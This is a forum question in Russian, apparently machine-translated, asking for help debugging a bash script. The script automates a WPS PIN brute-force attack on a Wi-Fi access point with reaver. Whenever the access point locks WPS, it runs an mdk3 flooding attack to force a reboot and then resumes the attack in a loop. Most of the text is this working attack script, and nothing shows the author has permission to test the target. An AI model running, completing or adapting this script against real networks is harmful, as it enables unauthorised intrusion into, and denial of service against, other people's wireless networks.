Прежде всего, извините за плохой английский. Я пытаюсь написать сценарий bash, чтобы выполнить взлом AP WPS с использованием reaver. Проблема в том, что после попытки использования WPS-PIN-кода AP блокирует WPS, поэтому я reaver не полезен.Сценарий Bash для reaver для разблокировки состояния wps-lock
Для решения этой проблемы я выполняю атаку mdk3
, чтобы заставить AP перезагрузиться и снова сможет атаковать ее (после перезагрузки WPS перезапускается в разблокированном состоянии).
Проблема такого подхода заключается в том, что:
- Я должен быть перед блокировкой компьютера, когда точка доступа заблокирована и
- делает атаку mdk3, остановить его, когда точка доступа перезагружается и повторяя повторное нападение. Решение этого, очевидно, является скриптом.
Я написал следующие строки, которые должны решить эту проблему.
Я должен сказать, что я полный noob в сценариях bash, поэтому сценарий не является «профессиональным», это просто «рабочий стол», чтобы решить мою проблему.
#!/bin/bash
while true; do
# Switch to the correct channel and save it into $channel
echo Detecting AP channel
timeout 25 reaver -i wlan0mon -e AP_SSID -b AP_BSSID -q # Switch to the AP channel
rm ap_channel 2> /dev/null
touch ap_channel
timeout 5 aireplay-ng -1 0 -e AP_SSID -a AP_BSSID -h MY_MAC wlan0mon > ap_channel
channel="$(head -1 ap_channel | tail -c 2 | head -c 1)"
rm ap_channel
# Attacks the AP while it isn't wps-locked
rm ap_status 2> /dev/null
timeout 10 airodump-ng wlan0mon --wps --essid AP_SSID -c $channel 2> ap_status
while [ -z "$(grep Locked ap_status)" ]; do
echo Performing reaver attack
aireplay-ng -1 0 -e AP_SSID -a AP_BSSID -h MY_MAC wlan0mon
timeout 30 reaver -i wlan0mon -e AP_SSID -b AP_BSSID --no-nacks -vv -s REAVER_PREV_SESSION.wpc -w -A -g 1 -C gnome-screenshot -f
rm ap_status
timeout 10 airodump-ng wlan0mon --wps --essid AP_SSID -c $channel 2> ap_status
done
# The AP is now locked. Performs a mdk3 attack (in order to reboot the AP) while the AP wps-status is Locked
((mdk3 wlan0mon a -a AP_BSSID -m) 2>&1) > /dev/null &
mdk3_pid=$!
rm ap_status
timeout 10 airodump-ng wlan0mon --wps --essid AP_SSID -c $channel 2> ap_status
while [ -n "$(grep Locked ap_status)" ]; do
echo Trying to reboot the AP
rm ap_status
timeout 10 airodump-ng wlan0mon --wps --essid AP_SSID -c $channel 2> ap_status
done
# The AP is now rebooted. Kill the mdk3 process and wait 2 mins to restart reaver attack
kill -9 $mdk3_pid
echo AP rebooted. Waiting 2 mins till AP init
sleep 120
done
Проблема в этом сценарии является то, что перенаправление STDOUT, который я использую для вывода Airodump работать иначе, если я исполню ее непосредственно в командной строке, чем если бы я выполнить его в скрипте.
timeout 10 airodump-ng wlan0mon --wps --essid AP_SSID -c $channel 2> ap_status
Мне нужен способ выполнения строки выше в скрипте, как если бы я выполнял его непосредственно в tty. Я не могу сделать это с помощью exec, потому что мне нужно продолжить сценарий.
ПРИМЕЧАНИЕ. Я не могу использовать параметр -w для airodump-ng, поскольку он не сохраняет статус WPS.
Не могли бы вы помочь мне с этим?